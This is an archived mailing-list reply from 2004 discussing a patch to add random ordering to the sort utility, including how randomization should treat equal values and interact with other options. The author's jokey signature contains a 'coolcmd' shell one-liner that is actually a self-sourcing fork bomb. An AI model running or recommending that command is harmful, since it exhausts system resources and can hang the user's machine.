[Top][All Lists]

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [PATCH] Makes sort create random order

From: Thomas Habets
Subject: Re: [PATCH] Makes sort create random order
Date: Mon, 6 Sep 2004 20:17:33 +0200
User-agent: KMail/1.7

Once upon a midnight dreary, Paul Eggert pondered, weak and weary:
> > Or should a random permutation merge all equal values?
> Only if the ordinary sort would merge the equal values (i.e., if the
> -u option is specified).

I mean merge them, then sort, then randomize, then split them. With no 
randomization after the split, causing equal values to always turn up next to 
each other.

> Yes, I'm saying that randomization should be orthogonal to the other
> options, and should work well and sensibly with them all.

Ah. I can sort-of agree with your point now. 

> > c b b b d d a
(note that all equal values are next to each other)
> > That's not what my patch does, so are you saying that is the right thing
> > to do?
> Yes, that's what I was thinking of, given the same seed.

That, in my view. Is wrong. It's not random nor arbitrary.

> > why should they randomize to the same output just because they
> > have the same seed and are a permutation of eachother?
> Because it's a sort program.  :-)

Then again, "sort -ns" doesn't sort permutations of the same input to the same 
output. :-)

> Seriously, though, I don't know how this new feature will combine with
> all the other features of "sort", if it's not some type of feature
> that can be explained as a sort.

Sorts ability to handle large files makes this a non-oneliner if you want the 
same functionality in another program (written in C anyway). It would be good 
to not have to write that little shell-magic every time, nice as it may be.

typedef struct me_s {
  char name[]      = { "Thomas Habets" };
  char email[]     = { "address@hidden" };
  char kernel[]    = { "Linux" };
  char *pgpKey[]   = { "http://www.habets.pp.se/pubkey.txt"; };
  char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE  0945 286A E90A AD48 E854" };
  char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;

Attachment: pgpgxO0Mg16aH.pgp
Description: PGP signature

reply via email to

[Prev in Thread] Current Thread [Next in Thread]